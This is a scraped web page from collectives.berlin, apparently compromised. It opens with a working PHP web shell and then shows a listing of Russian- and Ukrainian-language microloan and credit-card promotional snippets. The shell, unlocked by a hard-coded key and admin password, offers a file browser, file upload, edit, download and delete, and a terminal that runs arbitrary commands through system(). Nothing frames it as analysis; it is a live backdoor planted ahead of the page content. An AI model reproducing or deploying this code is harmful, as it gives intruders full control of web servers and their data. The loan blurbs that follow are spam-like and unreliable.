if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Микрокредит – Page 4 – collectives.berlin

Your digital paradise.

Category: Микрокредит

  • Первый займ без процентов в Казахстане. Онлайн микрокредиты на карту под 0 для новых клиентов на 30 дней.

    После 90 дней ставка пени снижается с 0,5%/день до 0,03%/день, но долг уже зафиксирован в КИ, а новые беззалоговые займы вам выдавать запрещено законом. Если в договоре механизм не прописан явно — уточняйте в поддержке до подписания, а не после. С плохой кредитной историей С открытыми просрочками Без фото паспорта и ИНН Без пенс. Если…

    Click or not…

  • Кредитні картки банків України 2026: рейтинг, оформити онлайн

    У пільговому періоді враховуються всі витратні операції з картки – зняття готівки, оплата карткою в магазинах і безготівкові перекази. Це означає, що якщо ви погасите кредитку протягом пільгового періоду, вам не доведеться сплачувати жодних процентів! Ви просто вибираєте зовнішній вигляд картки «Універсальна» / «Універсальна Gold». Ви можете звернутися на гарячу лінію 3700 (безкоштовно для дзвінків…

    Click or not…

  • Кредит онлайн без фото и документов ᐉ Взять кредит без паспорта и и кода

    Незважаючи на незначні мінуси, кредит онлайн без паспорта користується величезною популярністю серед середніх верств населення. Реальна річна процентна ставка за умови застосування Промо-ставки у розмірі 0,99% в день протягом першого Базового періоду та подальшого застосування Стандартної ставки, в залежності від виданої суми кредиту, відсотків річних – від 3189,78% до 5861,65%. Реальна річна процентна ставка при…

    Click or not…

  • Манимен MoneyMan KZ: Взять Займ Под 0,10% в Казахстане

    После одобрения клиенту остается изучить условия договора, подтвердить его кодом из SMS и дождаться поступления средств на банковский счет или карту. Чтобы сохранить корректный график оплаты, важно заранее проверить дату платежа, сумму к возврату и доступный способ внесения средств. После одобрения нужно изучить условия договора, активировать его кодом, который MoneyMan отправит на телефон, и дождаться…

    Click or not…

  • Лізинг від ПриватБанку: відгуки та умови ПриватБанк онлайн

    Для частини авто доступний лізинг з мінімальним або нульовим авансом — це альтернатива кредиту, коли немає коштів на перший внесок. Конкретні ставки в одному договорі залежать від терміну, авансу, типу авто (нове чи б/в), фінансових показників клієнта. Після завершення договору повертає авто лізингодавцю і може взяти нове. У Google цей продукт шукають фразами «купити авто…

    Click or not…

  • AlexCredit ᐈ Взяти Кредит Онлайн Відгуки Особистий кабінет

    Сравните процентные ставки, суммы и сроки кредитования от нескольких микрофинансовых компаний. Очень удобный сервис, в случае надобности всегда можно рассчитывать на поддержку! Когда брал у вас кредит, очень понравился быстрый сервис, и то, что первый кредит под 0% процентов)) Удобно что сервис работает круглосуточно, и деньги переводят на карту в любое время. Условия у них…

    Click or not…

  • Money4you кредит онлайн до 30 000 грн на картку за кілька хвилин

    Також врахуйте комісію терміналу та час обробки платежу. Додатково касир може попросити якийсь документ, що засвідчує вашу особу. Тоді додайте дані картки, з якої хочете погасити борг. Тоді вам потрібно пройти ще одну перевірку даних, після чого вам пришлють договір. Якщо все підходить, натисніть “Отримати гроші”. Такий тариф стане чудовою можливістю випробувати сервіс та скласти…

    Click or not…

  • Личный кабинет Триенс Вход и управление займами

    Нажмите “Забыли пароль” и введите email, указанный при регистрации. Укажите номер телефона и пароль, которые использовали при регистрации Круглосуточная поддержка клиентов через чат в личном кабинете При необходимости займ можно продлить. Для получения займа через личный кабинет достаточно паспорта гражданина РФ и именной банковской карты для получения денег. Возможность продлить срок займа онлайн, если требуется…

    Click or not…

  • Перше всеукраїнське бюро кредитних історій

    Про сервіс Як перевірити свою кредитну історію Перевірка кредитної історії онлайн Спосіб 2 – телеграм-бот УБКИ Способи перевірки кредитної історії в Україні Перевірка кредитної історії На що звернути увагу у звіті МБКІ (mbki.ua) Основні причини поганої фінансової репутації: Навіщо перевіряти свою кредитну історію? Тепер більшість наших співвітчизників бере кредит і купує все те, що необхідно…

    Click or not…

  • Кредит онлайн без отказа Взять срочно кредит на карту без проверок

    Зазвичай МФО мають аналогічні умови отримання онлайн позики. Якщо картка дійсна, але термін дії скоро закінчується, це може бути причиною відмови. Гроші перераховуються на картку власника, тому це є обов’язковою умовою. Віддалений процес оформлення кредиту спрямований на зручність та швидкість отримання кредиту онлайн на карту в Україні. Також потрібно аналізувати додаткові фактори, такі як штрафи,…

    Click or not…